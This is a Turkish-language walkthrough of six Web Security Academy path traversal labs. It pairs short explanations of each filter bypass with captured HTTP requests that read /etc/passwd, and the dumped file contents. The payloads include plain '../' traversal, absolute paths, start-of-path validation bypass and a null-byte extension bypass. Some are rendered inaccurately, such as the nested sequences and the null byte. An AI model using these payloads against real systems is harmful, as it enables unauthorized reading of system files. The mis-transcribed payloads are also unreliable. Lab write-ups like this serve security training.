

WebSec Academy Path Traversal Labları

Lab 1: File path traversal, simple case

Çözüm için sitede bulunan bir ürünü açıp requesti yakalamak ve filename parametresini değiştirerek dosya dizininde geriye gitmek yeterlidir.

request	response
<pre>1 GET /image?filename=../../../../etc/passwd HTTP/2 2 Host: 0abb0037038fe60f81575c2900240096.web-security-academy.net 3 Cookie: session=vqj6Ej0fUyUnZoYUpXkJDzcc1BtSGP5 4 Sec-Ch-Ua: "Not(A)Brand";v="8", "Chromium";v="126" 5 Accept-Language: en-US 6 Sec-Ch-Ua-Mobile: ?0 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: no-cors 12 Sec-Fetch-Dest: image 13 Referer: https://0abb0037038fe60f81575c2900240096.web-security-academy.net/product?productId=11 14 Accept-Encoding: gzip, deflate, br 15 Priority: u=2, i 16 17</pre>	<pre>1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001::/home/peter:/bin/bash 26 carlos:x:12002:12002::/home/carlos:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000::/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,././var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,././run/systemd:/usr/sbin/nologin 33 systemd-network:x:104:105:systemd Network Management,././run/systemd:/usr/sbin/nologin 34 systemd-resolve:x:105:106:systemd Resolver,././run/systemd:/usr/sbin/nologin 35 mvsol:x:106:107:Mvsol_Server....:/nonexistent:/bin/false</pre>

Lab 2: File path traversal, traversal sequences blocked with absolute path bypass

Burada herhangi bir kontrol yapılmamaktadır. Direkt olarak istenilen dosyalara erişilebilir.

Request	Response
<pre>1 GET /image?filename=/etc/passwd HTTP/2 2 Host: 0a2f00e8047e780781366103003e006a.web-security-academy.net 3 Cookie: session=63eXOCQMt2B0XLYeHCukG3jUvSQLRL 4 Sec-Ch-Ua: "Not(A)Brand";v="8", "Chromium";v="126" 5 Accept-Language: en-US 6 Sec-Ch-Ua-Mobile: ?0 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 8 Sec-Ch-Ua-Platform: "Linux" 9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: no-cors 12 Sec-Fetch-Dest: image 13 Referer: https://0a2f00e8047e780781366103003e006a.web-security-academy.net/product?productId=2 14 Accept-Encoding: gzip, deflate, br 15 Priority: u=2, i 16 17</pre>	<pre>1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001::/home/peter:/bin/bash 26 carlos:x:12002:12002:/home/carlos:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,././var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,././run/systemd:/usr/sbin/nologin 33 systemd-network:x:104:105:systemd Network Management,././run/systemd:/usr/sbin/nologin 34 systemd-resolve:x:105:106:systemd Resolver,././run/systemd:/usr/sbin/nologin 35 mvsol:x:106:107:Mvsol_Server....:/nonexistent:/bin/false</pre>

Lab 3: File path traversal, traversal sequences stripped non-recursively

Burada uygulama iç içe olan path traversal denemelerini kontrol etmediği için nested (iç içe birkaç adet koyulmuş) path eklenerek istenilen dosyalara erişilebilir. Uygulama ilk gördüğü traversal denemelerini kaldırdığı için iç kısma konulmuş olan dizin atlama sekanslarına dokunmaz. Bu sayede istenilen dizin ziyaret edilebilir.

```
1 GET /image?filename=../../../../../../../../etc/passwd HTTP/2
2 Host: 0ad900df03d1a89d8197073a002700bd.web-security-academy.net
3 Cookie: session=RefKaa2Qr3C8Cv12NzgDLK0MvTvXCO
4 Sec-Ch-UA: "Not(A)Brand";v="8", "Chromium";v="126"
5 Accept-Language: en-US
6 Sec-Ch-UA-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
8 Sec-Ch-UA-Platform: "Linux"
9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
0 Sec-Fetch-Site: same-origin
1 Sec-Fetch-Mode: no-cors
2 Sec-Fetch-Dest: image
3 Referer: https://0ad900df03d1a89d8197073a002700bd.web-security-academy.net/product?productId=2
4 Accept-Encoding: gzip, deflate, br
5 Priority: u=2, i
6
7
```

```
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2316
5
6 root:x:0:0:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/bin/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
25 peter:x:12001:12001::/home/peter:/bin/bash
26 carlos:x:12002:12002::/home/carlos:/bin/bash
27 user:x:12000:12000::/home/user:/bin/bash
28 elmer:x:12099:12099::/home/elmer:/bin/bash
29 academy:x:10000:10000::/academy:/bin/bash
30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
33 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
35 mvsol:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
```

Lab 4: File path traversal, validation of start of path

Bu labda uygulama ilk erişim istenen dizini kontrol eder ve aynı olup olmadığını kontrol eder. Eğer istenilen dizinden başlanıp sonrasında geri ve ileri gidilirse istenilen dosyalara erişilebilir.

```
1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2
2 Host: 0a2200340342a0c180fbdab600d5000b.web-security-academy.net
3 Cookie: session=RefLX6YlqYub781GY8HSeaGYoz4RkEJ
4 Sec-Ch-UA: "Not(A)Brand";v="8", "Chromium";v="126"
5 Accept-Language: en-US
6 Sec-Ch-UA-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
8 Sec-Ch-UA-Platform: "Linux"
9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
0 Sec-Fetch-Site: same-origin
1 Sec-Fetch-Mode: no-cors
2 Sec-Fetch-Dest: image
3 Referer: https://0a2200340342a0c180fbdab600d5000b.web-security-academy.net/
4 Accept-Encoding: gzip, deflate, br
5 Priority: i
6
7
```

```
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2316
5
6 root:x:0:0:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/bin/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
25 peter:x:12001:12001::/home/peter:/bin/bash
26 carlos:x:12002:12002::/home/carlos:/bin/bash
27 user:x:12000:12000::/home/user:/bin/bash
28 elmer:x:12099:12099::/home/elmer:/bin/bash
29 academy:x:10000:10000::/academy:/bin/bash
30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
33 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
```

Lab 5: File path traversal, validation of file extension with null byte bypass

Burada uygulama istek atılan dosyanın tipine bakmakta ve belirli formatları kabul etmektedir. Eğer istediğimiz dosyayı yazıp null byte ile sonlandırırsak ve sonuna kabul edilen dosya formatını yazarsak uygulama bunu doğrulamadığından erişilmemesi gereken dosyaları bize gösterecektir. Bu durum modern framework'lerde çalışmayabilir.

Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET /image/filenames/../../../../etc/passwd00.jpg HTTP/2			1	HTTP/2 200 OK		
2	Host: 0a1f00a7042a5881e10b26d00f0016.web-security-academy.net			2	Content-Type: image/jpeg		
3	Cookie: session=K1Gep6TYWekCYPAdYkdygW4n4d4Tz			3	X-Frame-Options: SAMEORIGIN		
4	Sec-Ch-Ua: 'Not/A)Brand';v="8", "Chromium";v="126"			4	Content-Length: 2316		
5	Accept-Language: en-US			5			
6	Sec-Ch-Ua-Mobile: ?0			6	root:x:0:0:root:/root:/bin/bash		
7	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36			7	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin		
8	Sec-Ch-Ua-Platform: "Linux"			8	bin:x:2:2:bin:/bin:/usr/sbin/nologin		
9	Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8			9	sys:x:3:3:sys:/dev:/usr/sbin/nologin		
10	Sec-Fetch-Site: same-origin			10	sync:x:4:65534:sync:/bin:/bin/sync		
11	Sec-Fetch-Mode: no-cors			11	games:x:5:60:games:/usr/games:/usr/sbin/nologin		
12	Sec-Fetch-Dst: image			12	man:x:6:12:man:/var/cache/man:/usr/sbin/nologin		
13	Referer: https://0a1f00a7042a5881e10b26d00f0016.web-security-academy.net/product?productId=3			13	lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin		
14	Accept-Encoding: gzip, deflate, br			14	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin		
15	Priority: u=2, i			15	news:x:9:9:news:/var/spool/news:/usr/sbin/nologin		
16				16	uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin		
17				17	proxy:x:13:13:proxy:/bin:/usr/sbin/nologin		
				18	www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin		
				19	backup:x:34:34:backup:/var/backups:/usr/sbin/nologin		
				20	list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin		
				21	irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin		
				22	gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin		
				23	nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin		
				24	_apt:x:100:65534::/nonexistent:/usr/sbin/nologin		
				25	peter:x:12001:12001::/home/peter:/bin/bash		
				26	carlos:x:12002:12002::/home/carlos:/bin/bash		
				27	user:x:12000:12000::/home/user:/bin/bash		
				28	elmer:x:12099:12099::/home/elmer:/bin/bash		
				29	academy:x:10000:10000::/academy:/bin/bash		
				30	messagebus:x:101:101::/nonexistent:/usr/sbin/nologin		
				31	dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/isc:/usr/sbin/nologin		
				32	system-timesync:x:103:103:system Time Synchronization,,,:/run/systemd:/usr/sbin/nologin		
				33	system-networkd:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin		
				34	system-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin		

Lab 6: File path traversal, traversal sequences stripped with superfluous URL-decode

Burada uygulama dosya parametresini kontrol ederken decode ettiği için url encoding işe yaramamaktadır. Buradaki sorun uygulamanın decoding işlemini recursive bir şekilde yapmamasıdır. Eğer kullanıcı iki veya daha fazla sayıda encoding işlemi yaparsa uygulama sadece bir defa decode işlemi yapar. Bu durum kullanılarak path traversal yapılabilir.

